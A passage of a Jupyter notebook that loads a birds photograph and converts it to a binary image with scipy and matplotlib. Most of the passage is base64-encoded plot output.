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\\nlQJahW0AAAAASUVORK5CYII=\\n\",\n      \"text/plain\": [\n       \"<matplotlib.figure.Figure at 0x42506a0>\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    }\n   ],\n   \"source\": [\n    \"import scipy.ndimage\\n\",\n    \"%matplotlib inline\\n\",\n    \"import matplotlib.pyplot as plt\\n\",\n    \"import numpy\\n\",\n    \"\\n\",\n    \"\\n\",\n    \"def plotImage(image, cmap='gray'):\\n\",\n    \"    birdsPlot = plt.imshow(image, cmap=cmap)\\n\",\n    \"    birdsPlot.axes.get_xaxis().set_visible(False)\\n\",\n    \"    birdsPlot.axes.get_yaxis().set_visible(False)\\n\",\n    \"    plt.show()\\n\",\n    \"\\n\",\n    \"birdsOriginal = scipy.ndimage.imread(\\\"images/birds.jpg\\\")\\n\",\n    \"\\n\",\n    \"print(\\\"Original image:\\\")\\n\",\n    \"plotImage(birdsOriginal)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 3,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Binary image:\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"image/png\": \"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\\nkXQBQKP/AwtvTcpUtjvBAAAAAElFTkSuQmCC\\n\",\n      \"text/plain\": [\n       \"<matplotlib.figure.Figure at 0x41d9c50>\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    }\n   ],\n   \"source\": [\n    \"birdsColorMap = birdsOriginal < [100,100,100]\\n\",\n    \"\\n\",\n    \"r,g,b = birdsColorMap.T\\n\",\n    \"\\n\",\n    \"# Hack: Using the green channel, because in this particular image, when inverted, \\n\",\n    \"#       pixels with full green would mean it's a white pixel.\\n\",\n    \"\\n\",\n    \"binaryBirds = g.T\\n\",\n    \"print(\\\"Binary image:\\\")\\n\",\n    \"plotImage(binaryBirds)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 4,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [\n    {\n     \"data\": {\n      \"image/png\": \"iVBORw0KGgoAAAANSUhEUgAAAV0AAADtCAYAAAAcNaZ2AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\\nAAALEgAACxIB0t1+/AAAElxJREFUeJzt3X+IFGUcx/HvI5aemXfSoaeXIf2RhGKFEP1hZ4gZkpmS\\nRkGEaNhF2T8FWYSaSGX1R2aQgT/+LRQsLLAOi7P6QzD16iiLpLzwOrvMuyO9k6ub/sjddvdmdmZ3\\nZ57nmWfeL3jgbnZv5nu7M5977plnZpXneQIA0GOM6QIAIEsIXQDQiNAFAI0IXQDQiNAFAI0IXQDQ\\naGy5B5VSzCcDgCp4nqf8ltPTBQCNCF0gRp7nybRp00yXAYsRukBMvvjiCxER6e7uNlwJbEboAjGZ\\nP39+/uvVq1ebKwRWU+XuvcCJNCC60mNJKd/zKMiIxE6kccMcwN+4ceNMlwAL1RS606dPFxGCF/Az\\nNDRkugRYKLYxXYIXAMLFeiJt6tSpca4OSL2+vj7TJcAysYZuT09PnKsDUq++vt50CbBM7FPGGGYA\\ngGDM0wUStnXrVtMlwCKJhO4tt9ySxGoBERH58ccfxfM83wbYrqaLI6ZPny5nz54dtfzWW2+Vjo6O\\n2qsDfEQNV90XJ4QcSxorgQ0SuTjCL3CBpCml5PPPPw99Hj1f2IgxXaTSwoULRSklbW1tZZ+nM3i/\\n/PLLsnUwBAKRGkO3ubnZd/lDDz1Uy2qByBYvXiyfffaZ6TJEROTOO+80XQJSoOYb3kT5y814FpIW\\ntB/aNK4rwrGQJcY+OYKdDLr19/eLUkrq6upGzW5Yt25dbNtZtmxZRbMnwoZCkBFBU2+u7ECeX7vr\\nrru8KG6//Xbfn6fR4m5TpkzxPM/zOjo6QvfLOLZXLdOvE01f8wJyNfLwwuTJk+XPP/8MfG7Az1f0\\nfKBa5fbjQnHtk0opGRkZGbX89OnTcuLECVm5cmXiNcBuXsDwQuTQjbpT+6yjqp8DgtiyL5bWUbj+\\ncjV+/PHHsnTp0lhrgX2CQrfqMV2lVL6dP3++3Iar3QQwyt69e02XkJcL2b6+vooC/d57702qJKRA\\n5NBVSsnff/+dD9pCjY2NZX92zZo11VUHWE4pJZMnT/ZdXk57e3tSJcFysX5GWsi6KlkVEMhvP8vt\\nXzbtgzt37pTHH3888HGOCbfFPrzgZ9q0aXGuDvBVOMTQ0NBQFF4LFiwY9XzP84wEXGtrq/ZtIgWC\\npjV4ZaaMhTU/Tz31lPEpHDT325kzZ6ybphVkcHDQeG20RN/32qaMVarcv4BAUsrNKDAp6DizpT7E\\nT8vwQiF2Jpg0f/58q/ZBm2qBWYleBtzS0pLk6oFRcrNrvvrqK9OljKKUkjfffLNo2cDAgKFqYEpi\\nwws5+/bty1+dw197QGTGjBnS1dWV/57jwk3ahxdyVq1aJc8++yw7FnDFr7/+mj8eent7DVcD3RLv\\n6QJAFhnr6QIA/kfoAoBGhC4AaEToAoBGhC4AaEToAoBGhC4AaEToAoBGY00XEKTwog2uZgPgCit7\\nupMmTSr6vuD+vgCQatZeBmzTx64AQKVSdxlwuWD1PE9+/vlnjdUAQDys7enmhA0r0OsFYKPU9XRz\\nwkK1s7NTUyUAUDvre7oi9HYBpE9qe7oi5UP1hRde0FgJANQmFaFbzqJFi0yXAACRpWJ4QSR8iCGH\\noQYANggaXrD2ijTARaWdBzoJ2WPd8MK6devyV6AVtiieeOKJhKsD4uV5nixdutR0GdDIuuGFai/3\\npceANAjav9l/3ZPq2QtRvP/++6ZLAIBQzoTugw8+KPv37zddBhBo7dq1pkuABawbXujp6ZGpU6eW\\n1iEiIgcOHJDly5eX/Xn+TYOtmIGTLakZXmhqasp/rZQq2gFXrFghhw4dMlEWULPHHnss0vNKOx1w\\ni3U93SiCat69e3fkHRvQbXh4WMaODZ+lSU/XDUE9XadCl50Vtrl06ZLU1dVFfj77sDucujhCKcUn\\nScBq1eyfBG42WDemWy12WKQdHYlscCZ0AZuUnvDNnRSmcwAnQpcdGbZZsmRJYNBy2W+2ORG6QJqc\\nPHnSdAkwKPWhSy8XaXP27FlRSsm2bduKlrMvZ0Mqp4wBrsgdfwSue5yaMga4QiklL774oukyoBE9\\nXQBIQGruvQAALiN0AUAjQhcANCJ0NZozZ47pEgAYxuwFTQpPWDI9CMgueroAoBGhq8GOHTuKvt+1\\na5ehSgCYxjxdDfxeY4YYALcxTxcALEDoGsINq4FsInQBQCNCV4OPPvrId/m5c+c0VwLANEJXg19+\\n+cV3+ZQpU/QWAsA4QhcANGLKmCZBrzNTxwA3MWUMACzAvRcM454MQLbQ09XgkUceMV0CAEvQ041Z\\ntRc90MsFsoGergUI3HCe53EVH5xA6Gpy8uRJ0yWkUmnYrl692lwxQAyYMhaz0tezsBcb8lonVlOa\\ncYc2pBVTxjRRShW1QoODg4aqAmALQlejCRMmBD72ww8/aKwkHX766Sff5evXr9dcCRAfhhc0Y4ih\\nMlzJh7RieMESmzZtMl0CAIPo6RpA7y06XiuklfGebm7qT2trq65NAoB1tA8vvPPOO7o3aZ3rr7/e\\ndAmw3KFDh0yXgIRoC91PPvkk/3XWryw6e/as7/KdO3dqriS9cv85ubgv9fT0yD333OPk7waNoTtj\\nxoyi70+dOqVr01byG5O87777DFRityyeeGxqajJdAhKk7UQaVxb5K3cFW9aMHz++4gtIXH29uOVn\\n+hk/keaHf584oApVGrjt7e0JVWLO5cuXOS4cZ7Sne2UbcW0i1TzPy/xrUU3YuPaa8R+hO6zs6YrQ\\n283RfWDlTkK98cYbWrdbiaB7WBTKwv6Thd8xS4yHLsx65plnTJeQp5SSAwcO+AbtuXPnAn/utttu\\nS7o0IDbGhxeubCeuzSCiwvfjpZdeks2bN5srJiLX9yGllIyMjAQ+hnSxdnhBRGTevHkyb94802Vk\\nRml4pWVa1muvvWa6hESV+6OycuVKjZUgSdpC9+233w587NixY3Ls2DHxPC/wwgHEZ3h4eNSyNIwb\\nPvfcc6ZLAGqmLXSj3gO1ubk54UrQ1dVluoSqBf2bnYY/GrWYNGmS6RIQk8THdK+++mq5fPlytGIY\\nt9Im7VP4XJ1a5fq4dZYEjekm8hHs1fQ6gk4gAH6UUvm5za73cuGWREK3GmPGWHFODymStZ4flwa7\\nQVvSbdmyJXRHoceiT0dHh+9yz/NS93ltYRdQpEnU36OxsTHhSpCYwlvklTYR8apppQofmzZt2qjH\\ng55LS7aF2bVrl/Eas9aOHDkS+r5wnKSjBeZqEqF7ZYPehg0bAh8LMjQ0ZPzFykrjwDbb2traIgUs\\n70s6m/bQLdd2797NTmWg7d+/3xsaGuLAtqRVy3TdtMjvrz2he6Ugdiq9O0BFHn74YeM1u96CrFmz\\nxhsYGOD4SHkLylWjnwYctG1XTorYxO+1bm5ulu7ubt4HQ0pf98LXu9xxWfpc2Mmz8d4L+/btM7n5\\nzMqd7e/u7i77vLADH7VRSsnmzZt9Z18w08ddRnu6IiIHDhyQ5cuXFy0bGBiQ+vr6pDeNAvR27UNv\\nN92s7OmKiKxYscJ0CSiDHpU5YaHa1tamqRLEyXjoiozeubi5h370muy0devWwMcWLVqksRLExfjw\\nQqHCWggBM/z2h6NHj8odd9xhoBqIiPzxxx9y3XXX+T42e/Zs+e677zRXhCiChhesCl2R/w76f/75\\nR8aOtea2EJnjt0/wR9CskONUYyWIytox3VJKKQLXsNbWVtMloATB6g7rQhfmvfvuu6MOck6omVf4\\nnjz//PP5r3lv0sW64QXY5eLFizJhw